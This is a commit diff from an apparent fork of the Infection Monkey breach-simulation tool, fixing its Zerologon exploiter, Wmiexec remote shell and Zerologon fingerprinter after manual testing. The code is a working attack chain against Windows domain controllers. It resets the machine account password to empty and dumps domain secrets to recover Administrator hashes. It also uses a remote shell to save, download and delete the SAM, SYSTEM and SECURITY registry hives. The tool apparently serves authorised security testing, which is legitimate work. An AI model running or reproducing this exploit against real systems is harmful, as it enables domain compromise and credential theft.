forked from p34709852/monkey
Changes from manual testing
This commit is contained in:
Shreya
parent
1cf07eff89
commit
b57605b58d
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@ -45,6 +45,7 @@ _new_stdout = None
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def _set_stdout_to_in_memory_text_stream():
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global _orig_stdout, _new_stdout
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# set stdout to in-memory text stream, to capture info that would otherwise be printed
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_orig_stdout = sys.stdout
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_new_stdout = io.StringIO()
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@ -53,6 +54,7 @@ def _set_stdout_to_in_memory_text_stream():
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def _unset_stdout_and_return_captured():
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# set stdout to original and return captured output
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global _orig_stdout, _new_stdout
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sys.stdout = _orig_stdout
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_new_stdout.seek(0)
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return _new_stdout.read()
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@ -72,8 +74,8 @@ class ZerologonExploiter(HostExploiter):
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'exec_method': 'smbexec',
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'hashes': None,
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'history': False,
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'is_remote' True,
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'just_dc': True,
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'is_remote': True,
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'just_dc': True, # becomes False in a copy in get_original_pwd_nthash()
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'just_dc_ntlm': False,
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'just_dc_user': None,
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'k': False,
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@ -100,7 +102,7 @@ class ZerologonExploiter(HostExploiter):
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self.zerologon_finger = ZerologonFinger()
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def _exploit_host(self):
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DC_IP, DC_NAME, DC_HANDLE = self.zerologon_finger.get_dc_details()
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DC_IP, DC_NAME, DC_HANDLE = self.zerologon_finger.get_dc_details(self.host)
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if self.is_exploitable():
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LOG.info("Target vulnerable, changing account password to empty string.")
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@ -211,9 +213,9 @@ class ZerologonExploiter(HostExploiter):
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options['target_ip'] = DC_IP
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options['dc_ip'] = DC_IP
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dumped_secrets = self.get_dumped_secrets(options=options
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dumped_secrets = self.get_dumped_secrets(options=options,
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remote_name=DC_IP,
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username=DC_NAME)
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username=f"{DC_NAME}$")
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for secret in dumped_secrets:
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if 'Administrator' in secret:
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hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::"
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@ -227,6 +229,7 @@ class ZerologonExploiter(HostExploiter):
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for name in ['system', 'sam', 'security']:
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options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
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options['dc_ip'] = DC_IP
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options['just_dc'] = False
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dumped_secrets = self.get_dumped_secrets(options=options,
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remote_name='LOCAL')
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@ -253,17 +256,17 @@ class ZerologonExploiter(HostExploiter):
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_set_stdout_to_in_memory_text_stream()
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# Save HKLM keys on victim.
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shell.onecmd('reg save HKLM\SYSTEM system.save && ' +
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'reg save HKLM\SAM sam.save && ' +
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'reg save HKLM\SECURITY security.save')
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remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' +
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'reg save HKLM\\SAM sam.save && ' +
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'reg save HKLM\\SECURITY security.save')
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# Get HKLM keys locally (can't run these together because it needs to call do_get()).
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shell.onecmd('get system.save')
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shell.onecmd('get sam.save')
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shell.onecmd('get security.save')
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remote_shell.onecmd('get system.save')
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remote_shell.onecmd('get sam.save')
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remote_shell.onecmd('get security.save')
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# Delete saved keys on victim.
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shell.onecmd('del /f system.save sam.save security.save')
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remote_shell.onecmd('del /f system.save sam.save security.save')
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info = _unset_stdout_and_return_captured()
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LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
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@ -294,7 +297,7 @@ class ZerologonExploiter(HostExploiter):
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# It worked!
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assert server_auth['ErrorCode'] == 0
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server_auth.dump()
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# server_auth.dump()
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session_key = nrpc.ComputeSessionKeyAES(None, b'\x00'*8, server_challenge,
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unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"))
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@ -312,10 +315,10 @@ class ZerologonExploiter(HostExploiter):
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request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
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request['ComputerName'] = DC_NAME + '\x00'
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request["Authenticator"] = authenticator
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pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), sessionKey)
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pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), session_key)
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request["UasNewPassword"] = pwd_data
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resp = rpc_con.request(request)
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resp.dump()
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# resp.dump()
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except Exception as e:
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LOG.info(f"Unexpected error: {e}")
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@ -554,32 +557,30 @@ class DumpSecrets:
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class Wmiexec:
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OUTPUT_FILENAME = '__' + str(time.time())
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def __init__(self, ip, username, hashes, password='', domain='', share=None, noOutput=False):
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def __init__(self, ip, username, hashes, password='', domain='', share='ADMIN$'):
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self.__ip = ip
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self.__username = username
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self.__password = password
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self.__domain = domain
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self.__lmhash, self.__nthash = hashes.split(':')
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self.__share = share
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self.__noOutput = noOutput
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self.shell = None
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def run(self):
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if self.__noOutput is False:
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smbConnection = SMBConnection(self.__ip, self.__ip)
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smbConnection.login(user=self.__username,
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password=self.__password,
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domain=self.__domain,
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lmhash=self.__lmhash,
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nthash=self.__nthash)
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smbConnection = SMBConnection(self.__ip, self.__ip)
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smbConnection.login(user=self.__username,
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password=self.__password,
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domain=self.__domain,
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lmhash=self.__lmhash,
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nthash=self.__nthash)
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dcom = DCOMConnection(target=self.__ip,
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username=self.__username,
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password=self.__password,
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domain=self.__domain,
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lmhash=self.__lmhash,
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nthash=self.__nthash,
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oxidResolver=True)
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dcom = DCOMConnection(target=self.__ip,
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username=self.__username,
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password=self.__password,
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domain=self.__domain,
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lmhash=self.__lmhash,
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nthash=self.__nthash,
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oxidResolver=True)
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try:
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iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
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@ -589,7 +590,7 @@ class Wmiexec:
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win32Process, _ = iWbemServices.GetObject('Win32_Process')
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self.shell = RemoteShell(self.__share, win32Process, smbConnection, OUTPUT_FILENAME)
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self.shell = RemoteShell(self.__share, win32Process, smbConnection, self.OUTPUT_FILENAME)
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return self.shell
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except (Exception, KeyboardInterrupt) as e:
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@ -612,7 +613,7 @@ class RemoteShell(cmd.Cmd):
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self.__win32Process = win32Process
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self.__transferClient = smbConnection
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self.__pwd = str('C:\\')
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self.__noOutput = True
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self.__noOutput = False
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# We don't wanna deal with timeouts from now on.
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if self.__transferClient is not None:
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@ -22,7 +22,7 @@ class ZerologonFinger(HostFinger):
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Checks if the Windows Server is vulnerable to Zerologon.
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"""
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DC_IP, DC_NAME, DC_HANDLE = self.get_dc_details()
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DC_IP, DC_NAME, DC_HANDLE = self.get_dc_details(host)
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if DC_NAME: # if it is a Windows DC
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# Keep authenticating until successful.
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@ -55,8 +55,8 @@ class ZerologonFinger(HostFinger):
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LOG.info('Error encountered; most likely not a Windows Domain Controller.')
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return False
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def get_dc_details(self):
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DC_IP = self.host.ip_addr
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def get_dc_details(self, host):
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DC_IP = host.ip_addr
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DC_NAME = self.get_dc_name(DC_IP)
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DC_HANDLE = '\\\\' + DC_NAME
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return DC_IP, DC_NAME, DC_HANDLE
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